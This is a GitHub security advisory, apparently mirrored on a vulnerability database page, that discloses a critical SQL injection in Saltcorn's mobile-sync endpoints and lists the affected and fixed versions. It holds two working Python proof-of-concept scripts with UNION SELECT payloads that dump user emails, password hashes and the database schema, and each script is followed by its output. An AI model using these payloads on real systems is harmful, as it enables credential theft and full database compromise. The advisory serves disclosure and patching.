GHSA-JP74-MFRX-3QVH

Vulnerability from github – Published: 2026-04-16 22:51 – Updated: 2026-04-16 22:51
VLAI?
Summary
Saltcorn: SQL Injection via Unparameterized Sync Endpoints (maxLoadedId)
Details

Summary

Saltcorn's mobile-sync routes (POST /sync/load_changes and POST /sync/deletes) interpolate user-controlled values directly into SQL template literals without parameterization, type-casting, or sanitization. Any authenticated user (role_id ≥ 80, the default "user" role) who has read access to at least one table can inject arbitrary SQL, exfiltrate the entire database including admin password hashes, enumerate all table schemas, and—on a PostgreSQL-backed instance—execute write or DDL operations.

Details

Vulnerable code paths

Primary: packages/server/routes/sync.jsgetSyncRows() function

// Line 68 — maxLoadedId branch (no syncFrom)
where data_tbl."${db.sqlsanitize(pkName)}" > ${syncInfo.maxLoadedId}

// Line 100 — maxLoadedId branch (with syncFrom)
and info_tbl.ref > ${syncInfo.maxLoadedId}

syncInfo is taken verbatim from req.body.syncInfos[tableName]. There is no parseInt(), isFinite(), or parameterized binding applied to maxLoadedId before it is embedded into the SQL string passed to db.query().

db.sqlsanitize() is used elsewhere in the same query to quote identifiers (table and column names) — a correct use — but is never applied to values, and would not prevent injection anyway because it only escapes double-quote characters.

Variant H1-V2: packages/server/routes/sync.jsgetDelRows() function (lines 173–190)

// Lines 182-183 — syncUntil and syncFrom come from req.body.syncTimestamp / syncFrom where alias.max < to_timestamp(${syncUntil.valueOf() / 1000.0})   and alias.max > to_timestamp(${syncFrom.valueOf() / 1000.0})

syncUntil = new Date(syncTimestamp) where syncTimestamp comes from req.body. The resulting .valueOf() / 1000.0 is still interpolated as a raw numeric expression.

Route handler: lines 113–170 (/load_changes)

router.post(
  "/load_changes",
  loggedIn,           // <-- only authentication check; no input validation
  error_catcher(async (req, res) => {
    const { syncInfos, loadUntil } = req.body || {};
    ...
    // syncInfos[tblName].maxLoadedId is passed directly into getSyncRows

PoC

Please find the attached script to dump the user's DB using a normal user account.

Dumping users table

#!/usr/bin/env python3
import requests
import json
import re

BASE = "http://localhost:3000"
EMAIL = "ccx@ccx.com"
PASSWORD = "Abcd1234!"

s = requests.Session()

print("[*] Fetching login page...")
r = s.get(f"{BASE}/auth/login")
match = re.search(r'_sc_globalCsrf = "([^"]+)"', r.text)
csrf_login = match.group(1)

print("[*] Logging in...")
r = s.post(f"{BASE}/auth/login", json={"email": EMAIL, "password": PASSWORD, "_csrf": csrf_login})

print("[*] Extracting authenticated CSRF token...")
r = s.get(f"{BASE}/")
match = re.search(r'_sc_globalCsrf = "([^"]+)"', r.text)
csrf = match.group(1)

print("[*] Dumping users...")
payload = "999 UNION SELECT 1,email,password,CAST(role_id AS TEXT),CAST(id AS TEXT) FROM users--"
body = {"syncInfos": {"notes": {"maxLoadedId": payload}}, "loadUntil": "2030-01-01"}
headers = {"CSRF-Token": csrf, "Content-Type": "application/json"}

r = s.post(f"{BASE}/sync/load_changes", json=body, headers=headers)

if r.status_code == 200:
    print(json.dumps(r.json(), indent=2))
else:
    print(f"Failed: {r.status_code}")

Output:

(dllm) dllm@dllm:~/Downloads/saltcorn/artifacts/scripts$ python poc_h1_sqli_minimal.py
[*] Fetching login page...
[*] Logging in...
[*] Extracting authenticated CSRF token...
[*] Dumping users...
{
  "notes": {
    "rows": [
      {
        "_sync_info_tbl_ref_": "1",
        "_sync_info_tbl_last_modified_": "admin@admin.com",
        "_sync_info_tbl_deleted_": "$2a$10$BiEwZkMIpaBrj5yySQhbVuObOp5bpPpfxZYZDtV.VCTv.UxfI7o.6",
        "id": "1",
        "owner_id": "1"
      },
      {
        "_sync_info_tbl_ref_": "80",
        "_sync_info_tbl_last_modified_": "ccx@ccx.com",
        "_sync_info_tbl_deleted_": "$2a$10$B0WWDy27n1H5D6M0.drOfOlCfp39jcsmk2Ueopx6R3SUwDV/ii0Hm",
        "id": "80",
        "owner_id": "2"
      }
    ],
    "maxLoadedId": "80"
  }
}

Dumping schema

Use the following script below to dump the schema:

#!/usr/bin/env python3
import requests
import json
import re

BASE = "http://localhost:3000"
EMAIL = "ccx@ccx.com"
PASSWORD = "Abcd1234!"

s = requests.Session()

print("[*] Fetching login page...")
r = s.get(f"{BASE}/auth/login")
match = re.search(r'_sc_globalCsrf = "([^"]+)"', r.text)
csrf_login = match.group(1)

print("[*] Logging in...")
r = s.post(f"{BASE}/auth/login", json={"email": EMAIL, "password": PASSWORD, "_csrf": csrf_login})

print("[*] Extracting authenticated CSRF token...")
r = s.get(f"{BASE}/")
match = re.search(r'_sc_globalCsrf = "([^"]+)"', r.text)
csrf = match.group(1)

print("[*] Enumerating database schema...")
payload = "999 UNION SELECT 1,name,type,CAST(sql AS TEXT),NULL FROM sqlite_master WHERE type='table'--"
body = {"syncInfos": {"notes": {"maxLoadedId": payload}}, "loadUntil": "2030-01-01"}
headers = {"CSRF-Token": csrf, "Content-Type": "application/json"}

r = s.post(f"{BASE}/sync/load_changes", json=body, headers=headers)

if r.status_code == 200:
    print(json.dumps(r.json(), indent=2))
else:
    print(f"HTTP {r.status_code}: {r.text[:500]}")

Output:

(dllm) dllm@dllm:~/Downloads/saltcorn/artifacts/scripts$ python poc_h1_schema_enum.py 
[*] Fetching login page...
[*] Logging in...
[*] Extracting authenticated CSRF token...
[*] Enumerating database schema...
{
  "notes": {
    "rows": [
      {
        "_sync_info_tbl_ref_": "CREATE TABLE \"notes\" (id integer primary key, owner_id INTEGER)",
        "_sync_info_tbl_last_modified_": "notes",
        "_sync_info_tbl_deleted_": "table",
        "id": "CREATE TABLE \"notes\" (id integer primary key, owner_id INTEGER)",
        "owner_id": null
      },
<SNIP>
    "maxLoadedId": "CREATE TABLE users (\n      id integer primary key,      \n      email VARCHAR(128) not null unique,\n      password VARCHAR(60),\n      role_id integer not null references _sc_roles(id)\n    , reset_password_token text, reset_password_expiry timestamp, \"language\" text, \"disabled\" boolean not null default false, \"api_token\" text, \"_attributes\" json, \"verification_token\" text, \"verified_on\" timestamp, last_mobile_login timestamp)"
  }
}

Impact

  • Confidentiality: CRITICAL — Attacker reads the entire database: all user credentials (bcrypt hashes), configuration secrets including _sc_config, all user-created data, and the full schema.
  • Integrity: CRITICAL — On PostgreSQL the same endpoint can execute INSERT/UPDATE/DELETE/DROP. On SQLite, multiple-statement injection may be possible depending on driver configuration.
  • Availability: CRITICAL — Attacker can DROP tables or corrupt the database.
  • Scope: Changed — Any authenticated user (role_id=80) can access admin-tier data and beyond.
  • Privilege escalation — Admin password hashes are exfiltrated; offline cracking of weak passwords grants admin access.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@saltcorn/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@saltcorn/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.5.0-beta.0"
            },
            {
              "fixed": "1.5.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@saltcorn/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.6.0-alpha.0"
            },
            {
              "fixed": "1.6.0-beta.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T22:51:43Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\nSaltcorn\u0027s mobile-sync routes (`POST /sync/load_changes` and `POST /sync/deletes`) interpolate user-controlled values directly into SQL template literals without parameterization, type-casting, or sanitization. Any authenticated user (role_id \u2265 80, the default \"user\" role) who has read access to at least one table can inject arbitrary SQL, exfiltrate the entire database including admin password hashes, enumerate all table schemas, and\u2014on a PostgreSQL-backed instance\u2014execute write or DDL operations.\n\n## Details\n### Vulnerable code paths\n\n**Primary: `packages/server/routes/sync.js` \u2014 `getSyncRows()` function**\n\n```js\n// Line 68 \u2014 maxLoadedId branch (no syncFrom)\nwhere data_tbl.\"${db.sqlsanitize(pkName)}\" \u003e ${syncInfo.maxLoadedId}\n\n// Line 100 \u2014 maxLoadedId branch (with syncFrom)\nand info_tbl.ref \u003e ${syncInfo.maxLoadedId}\n```\n\n`syncInfo` is taken verbatim from `req.body.syncInfos[tableName]`. There is no `parseInt()`, `isFinite()`, or parameterized binding applied to `maxLoadedId` before it is embedded into the SQL string passed to `db.query()`.\n\n`db.sqlsanitize()` is used elsewhere in the same query to quote *identifiers* (table and column names) \u2014 a correct use \u2014 but is never applied to *values*, and would not prevent injection anyway because it only escapes double-quote characters.\n\n**Variant H1-V2: `packages/server/routes/sync.js` \u2014 `getDelRows()` function (lines 173\u2013190)**\n\n```js\n// Lines 182-183 \u2014 syncUntil and syncFrom come from req.body.syncTimestamp / syncFrom where alias.max \u003c to_timestamp(${syncUntil.valueOf() / 1000.0})   and alias.max \u003e to_timestamp(${syncFrom.valueOf() / 1000.0})\n```\n\n`syncUntil = new Date(syncTimestamp)` where `syncTimestamp` comes from `req.body`. The resulting `.valueOf() / 1000.0` is still interpolated as a raw numeric expression.\n\n**Route handler: lines 113\u2013170 (`/load_changes`)**\n\n```js\nrouter.post(\n  \"/load_changes\",\n  loggedIn,           // \u003c-- only authentication check; no input validation\n  error_catcher(async (req, res) =\u003e {\n    const { syncInfos, loadUntil } = req.body || {};\n    ...\n    // syncInfos[tblName].maxLoadedId is passed directly into getSyncRows\n```\n\n## PoC\nPlease find the attached script to dump the user\u0027s DB using a normal user account.\n\n### Dumping users table\n```python\n#!/usr/bin/env python3\nimport requests\nimport json\nimport re\n\nBASE = \"http://localhost:3000\"\nEMAIL = \"ccx@ccx.com\"\nPASSWORD = \"Abcd1234!\"\n\ns = requests.Session()\n\nprint(\"[*] Fetching login page...\")\nr = s.get(f\"{BASE}/auth/login\")\nmatch = re.search(r\u0027_sc_globalCsrf = \"([^\"]+)\"\u0027, r.text)\ncsrf_login = match.group(1)\n\nprint(\"[*] Logging in...\")\nr = s.post(f\"{BASE}/auth/login\", json={\"email\": EMAIL, \"password\": PASSWORD, \"_csrf\": csrf_login})\n\nprint(\"[*] Extracting authenticated CSRF token...\")\nr = s.get(f\"{BASE}/\")\nmatch = re.search(r\u0027_sc_globalCsrf = \"([^\"]+)\"\u0027, r.text)\ncsrf = match.group(1)\n\nprint(\"[*] Dumping users...\")\npayload = \"999 UNION SELECT 1,email,password,CAST(role_id AS TEXT),CAST(id AS TEXT) FROM users--\"\nbody = {\"syncInfos\": {\"notes\": {\"maxLoadedId\": payload}}, \"loadUntil\": \"2030-01-01\"}\nheaders = {\"CSRF-Token\": csrf, \"Content-Type\": \"application/json\"}\n\nr = s.post(f\"{BASE}/sync/load_changes\", json=body, headers=headers)\n\nif r.status_code == 200:\n    print(json.dumps(r.json(), indent=2))\nelse:\n    print(f\"Failed: {r.status_code}\")\n```\n\nOutput:\n\n```bash\n(dllm) dllm@dllm:~/Downloads/saltcorn/artifacts/scripts$ python poc_h1_sqli_minimal.py\n[*] Fetching login page...\n[*] Logging in...\n[*] Extracting authenticated CSRF token...\n[*] Dumping users...\n{\n  \"notes\": {\n    \"rows\": [\n      {\n        \"_sync_info_tbl_ref_\": \"1\",\n        \"_sync_info_tbl_last_modified_\": \"admin@admin.com\",\n        \"_sync_info_tbl_deleted_\": \"$2a$10$BiEwZkMIpaBrj5yySQhbVuObOp5bpPpfxZYZDtV.VCTv.UxfI7o.6\",\n        \"id\": \"1\",\n        \"owner_id\": \"1\"\n      },\n      {\n        \"_sync_info_tbl_ref_\": \"80\",\n        \"_sync_info_tbl_last_modified_\": \"ccx@ccx.com\",\n        \"_sync_info_tbl_deleted_\": \"$2a$10$B0WWDy27n1H5D6M0.drOfOlCfp39jcsmk2Ueopx6R3SUwDV/ii0Hm\",\n        \"id\": \"80\",\n        \"owner_id\": \"2\"\n      }\n    ],\n    \"maxLoadedId\": \"80\"\n  }\n}\n```\n\n### Dumping schema\nUse the following script below to dump the schema: \n\n```python\n#!/usr/bin/env python3\nimport requests\nimport json\nimport re\n\nBASE = \"http://localhost:3000\"\nEMAIL = \"ccx@ccx.com\"\nPASSWORD = \"Abcd1234!\"\n\ns = requests.Session()\n\nprint(\"[*] Fetching login page...\")\nr = s.get(f\"{BASE}/auth/login\")\nmatch = re.search(r\u0027_sc_globalCsrf = \"([^\"]+)\"\u0027, r.text)\ncsrf_login = match.group(1)\n\nprint(\"[*] Logging in...\")\nr = s.post(f\"{BASE}/auth/login\", json={\"email\": EMAIL, \"password\": PASSWORD, \"_csrf\": csrf_login})\n\nprint(\"[*] Extracting authenticated CSRF token...\")\nr = s.get(f\"{BASE}/\")\nmatch = re.search(r\u0027_sc_globalCsrf = \"([^\"]+)\"\u0027, r.text)\ncsrf = match.group(1)\n\nprint(\"[*] Enumerating database schema...\")\npayload = \"999 UNION SELECT 1,name,type,CAST(sql AS TEXT),NULL FROM sqlite_master WHERE type=\u0027table\u0027--\"\nbody = {\"syncInfos\": {\"notes\": {\"maxLoadedId\": payload}}, \"loadUntil\": \"2030-01-01\"}\nheaders = {\"CSRF-Token\": csrf, \"Content-Type\": \"application/json\"}\n\nr = s.post(f\"{BASE}/sync/load_changes\", json=body, headers=headers)\n\nif r.status_code == 200:\n    print(json.dumps(r.json(), indent=2))\nelse:\n    print(f\"HTTP {r.status_code}: {r.text[:500]}\")\n```\n\nOutput:\n\n```bash\n(dllm) dllm@dllm:~/Downloads/saltcorn/artifacts/scripts$ python poc_h1_schema_enum.py \n[*] Fetching login page...\n[*] Logging in...\n[*] Extracting authenticated CSRF token...\n[*] Enumerating database schema...\n{\n  \"notes\": {\n    \"rows\": [\n      {\n        \"_sync_info_tbl_ref_\": \"CREATE TABLE \\\"notes\\\" (id integer primary key, owner_id INTEGER)\",\n        \"_sync_info_tbl_last_modified_\": \"notes\",\n        \"_sync_info_tbl_deleted_\": \"table\",\n        \"id\": \"CREATE TABLE \\\"notes\\\" (id integer primary key, owner_id INTEGER)\",\n        \"owner_id\": null\n      },\n\u003cSNIP\u003e\n    \"maxLoadedId\": \"CREATE TABLE users (\\n      id integer primary key,      \\n      email VARCHAR(128) not null unique,\\n      password VARCHAR(60),\\n      role_id integer not null references _sc_roles(id)\\n    , reset_password_token text, reset_password_expiry timestamp, \\\"language\\\" text, \\\"disabled\\\" boolean not null default false, \\\"api_token\\\" text, \\\"_attributes\\\" json, \\\"verification_token\\\" text, \\\"verified_on\\\" timestamp, last_mobile_login timestamp)\"\n  }\n}\n```\n\n## Impact\n- **Confidentiality: CRITICAL** \u2014 Attacker reads the entire database: all user credentials (bcrypt hashes), configuration secrets including `_sc_config`, all user-created data, and the full schema.\n- **Integrity: CRITICAL** \u2014 On PostgreSQL the same endpoint can execute INSERT/UPDATE/DELETE/DROP. On SQLite, multiple-statement injection may be possible depending on driver configuration.\n- **Availability: CRITICAL** \u2014 Attacker can DROP tables or corrupt the database.\n- **Scope: Changed** \u2014 Any authenticated user (role_id=80) can access admin-tier data and beyond.\n- **Privilege escalation** \u2014 Admin password hashes are exfiltrated; offline cracking of weak passwords grants admin access.",
  "id": "GHSA-jp74-mfrx-3qvh",
  "modified": "2026-04-16T22:51:43Z",
  "published": "2026-04-16T22:51:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/saltcorn/saltcorn/security/advisories/GHSA-jp74-mfrx-3qvh"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/saltcorn/saltcorn"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Saltcorn: SQL Injection via Unparameterized Sync Endpoints (maxLoadedId)"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…